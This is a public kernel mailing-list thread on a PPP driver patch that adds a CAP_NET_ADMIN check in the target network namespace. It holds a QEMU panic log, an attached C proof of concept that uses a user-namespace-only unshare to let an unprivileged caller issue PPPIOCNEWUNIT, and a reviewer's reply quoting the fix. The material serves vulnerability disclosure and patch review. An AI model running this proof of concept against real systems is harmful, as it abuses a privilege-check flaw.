ioctl(PPPIOCNEWUNIT): Operation not permitted
[    2.002904] Kernel panic - not syncing: Attempted to kill init! exitcode=0x00000100
[    2.003364] CPU: 0 UID: 65534 PID: 1 Comm: init Not tainted 7.0.0-rc6-00005-g48278fa03093-dirty #3 PREEMPT(lazy) 
[    2.003572] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[    2.003846] Call Trace:
[    2.004229]  <TASK>
[    2.004380]  vpanic+0x32a/0x4b0
[    2.004617]  panic+0x5e/0x60
[    2.004685]  do_exit+0x99f/0xb40
[    2.004751]  do_group_exit+0x2b/0x80
[    2.004820]  __x64_sys_exit_group+0x13/0x20
[    2.004907]  x64_sys_call+0x12e2/0x1880
[    2.004982]  do_syscall_64+0xf1/0x530
[    2.005056]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[    2.005230] RIP: 0033:0x41ac2d
[    2.005418] Code: ff ff ff 64 c7 00 26 00 00 00 eb ea 90 f3 0f 1e fa 48 c7 c6 c0 ff ff ff ba e7 00 00 00 eb 07 66 0f 1f 44 00 00 f4 89 d0 0f 05 <48> 3d 00 f0 ff ff 76 f3 f7 d8 64 89 06 eb ec 0f 1f 40 00 f3 0f 1e
[    2.005774] RSP: 002b:00007ffd9b362588 EFLAGS: 00000213 ORIG_RAX: 00000000000000e7
[    2.005926] RAX: ffffffffffffffda RBX: 0000000000000003 RCX: 000000000041ac2d
[    2.006054] RDX: 00000000000000e7 RSI: ffffffffffffffc0 RDI: 0000000000000001
[    2.006179] RBP: 000000000000fffe R08: 0000000000000000 R09: 0000000000000007
[    2.006306] R10: 000000003c6658f0 R11: 0000000000000213 R12: 0000000000487146
[    2.006439] R13: 00007ffd9b3626e8 R14: 00000000004ae868 R15: 0000000000000001
[    2.006596]  </TASK>
[    2.006901] Kernel Offset: 0x38600000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)

[-- Attachment #3: ppp_poc_init_v3.c --]
[-- Type: application/octet-stream, Size: 3036 bytes --]

#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/reboot.h>
#include <sys/stat.h>
#include <sys/sysmacros.h>
#include <sys/types.h>
#include <unistd.h>

#include <linux/if_ppp.h>
#include <linux/reboot.h>

static void die(const char *msg)
{
	perror(msg);
	fflush(stdout);
	reboot(LINUX_REBOOT_CMD_POWER_OFF);
	_exit(1);
}

static void write_file(const char *path, const char *buf)
{
	int fd = open(path, O_WRONLY);
	size_t len = strlen(buf);

	if (fd < 0)
		die(path);
	if (write(fd, buf, len) != (ssize_t)len)
		die(path);
	close(fd);
}

static unsigned long long netns_ino(void)
{
	struct stat st;

	if (stat("/proc/self/ns/net", &st) < 0)
		die("stat(/proc/self/ns/net)");
	return (unsigned long long)st.st_ino;
}

int main(void)
{
	unsigned long long before, after;
	int fd, unit = -1;

	if (mkdir("/proc", 0555) < 0 && errno != EEXIST)
		die("mkdir(/proc)");
	if (mkdir("/sys", 0555) < 0 && errno != EEXIST)
		die("mkdir(/sys)");
	if (mkdir("/dev", 0755) < 0 && errno != EEXIST)
		die("mkdir(/dev)");

	if (mount("proc", "/proc", "proc", 0, NULL) < 0)
		die("mount(proc)");
	if (mount("sysfs", "/sys", "sysfs", 0, NULL) < 0)
		die("mount(sysfs)");
	if (mount("devtmpfs", "/dev", "devtmpfs", 0, "mode=0755") < 0)
		die("mount(devtmpfs)");

	if (access("/dev/ppp", F_OK) < 0 &&
	    mknod("/dev/ppp", S_IFCHR | 0666, makedev(108, 0)) < 0 &&
	    errno != EEXIST)
		die("mknod(/dev/ppp)");
	if (chmod("/dev/ppp", 0666) < 0)
		die("chmod(/dev/ppp)");

	before = netns_ino();
	printf("[*] initial netns ino=%llu\n", before);

	if (setresgid(65534, 65534, 65534) < 0)
		die("setresgid(65534)");
	if (setresuid(65534, 65534, 65534) < 0)
		die("setresuid(65534)");
	if (prctl(PR_SET_DUMPABLE, 1) < 0)
		die("prctl(PR_SET_DUMPABLE)");

	printf("[*] dropped to uid=%d gid=%d before userns\n", getuid(), getgid());

	fd = open("/dev/ppp", O_RDWR);
	if (fd >= 0) {
		printf("[!] open(/dev/ppp) unexpectedly succeeded before userns\n");
		fflush(stdout);
		reboot(LINUX_REBOOT_CMD_POWER_OFF);
		return 1;
	}
	printf("[*] open(/dev/ppp) before userns failed as expected: %s\n",
	       strerror(errno));

	if (unshare(CLONE_NEWUSER) < 0)
		die("unshare(CLONE_NEWUSER)");
	write_file("/proc/self/uid_map", "0 65534 1\n");
	if (setresuid(0, 0, 0) < 0)
		die("setresuid(0)");

	after = netns_ino();
	printf("[*] after userns-only unshare netns ino=%llu\n", after);
	printf("[*] now uid=%d gid=%d in new userns\n", getuid(), getgid());

	fd = open("/dev/ppp", O_RDWR);
	if (fd < 0)
		die("open(/dev/ppp) after userns");
	printf("[*] open(/dev/ppp) after userns succeeded\n");

	if (ioctl(fd, PPPIOCNEWUNIT, &unit) < 0)
		die("ioctl(PPPIOCNEWUNIT)");
	printf("[+] PPPIOCNEWUNIT succeeded, unit=%d\n", unit);
	printf("[+] Unprivileged caller gained PPP admin over the inherited netns via userns-only unshare\n");
	fflush(stdout);

	reboot(LINUX_REBOOT_CMD_POWER_OFF);
	return 0;
}

^ permalink raw reply	[flat|nested] 3+ messages in thread

* Re: [PATCH net v3] ppp: require CAP_NET_ADMIN in target netns for unattached ioctls
  2026-04-09  7:11 [PATCH net v3] ppp: require CAP_NET_ADMIN in target netns for unattached ioctls Taegu Ha
  2026-04-09  7:18 ` 하태구
@ 2026-04-09  9:50 ` Qingfang Deng
  1 sibling, 0 replies; 3+ messages in thread
From: Qingfang Deng @ 2026-04-09  9:50 UTC (permalink / raw)
  To: Taegu Ha, Andrew Lunn, David S. Miller, Eric Dumazet,
	Jakub Kicinski, Paolo Abeni, Kees Cook, Kuniyuki Iwashima,
	Sebastian Andrzej Siewior, Cyrill Gorcunov, linux-ppp, netdev,
	linux-kernel
  Cc: gnault, jaco, richardbgobert, ericwouds, teknoraver,
	Christian Brauner, Jan Kara

On 2026/4/9 15:11, Taegu Ha wrote:
> /dev/ppp open is currently authorized against file->f_cred->user_ns,
> while unattached administrative ioctls operate on current->nsproxy->net_ns.
>
> As a result, a local unprivileged user can create a new user namespace
> with CLONE_NEWUSER, gain CAP_NET_ADMIN only in that new user namespace,
> and still issue PPPIOCNEWUNIT, PPPIOCATTACH, or PPPIOCATTCHAN against
> an inherited network namespace.
>
> Require CAP_NET_ADMIN in the user namespace that owns the target network
> namespace before handling unattached PPP administrative ioctls.
>
> This preserves normal pppd operation in the network namespace it is
> actually privileged in, while rejecting the userns-only inherited-netns
> case.
>
> Fixes: 273ec51dd7ce ("net: ppp_generic - introduce net-namespace functionality v2")
> Signed-off-by: Taegu Ha <hataegu0826@gmail.com>

LGTM.

Netns devs, could you please take a look?

> ---
>   drivers/net/ppp/ppp_generic.c | 3 +++
>   1 file changed, 3 insertions(+)
>
> diff --git a/drivers/net/ppp/ppp_generic.c b/drivers/net/ppp/ppp_generic.c
> index e9b41777be80..c2024684b10d 100644
> --- a/drivers/net/ppp/ppp_generic.c
> +++ b/drivers/net/ppp/ppp_generic.c
> @@ -1057,6 +1057,9 @@ static int ppp_unattached_ioctl(struct net *net, struct ppp_file *pf,
>   	struct ppp_net *pn;
>   	int __user *p = (int __user *)arg;
>   
> +	if (!ns_capable(net->user_ns, CAP_NET_ADMIN))
> +		return -EPERM;
> +
>   	switch (cmd) {
>   	case PPPIOCNEWUNIT:
>   		/* Create a new ppp unit */

^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-04-09  9:51 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-04-09  7:11 [PATCH net v3] ppp: require CAP_NET_ADMIN in target netns for unattached ioctls Taegu Ha
2026-04-09  7:18 ` 하태구
2026-04-09  9:50 ` Qingfang Deng

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox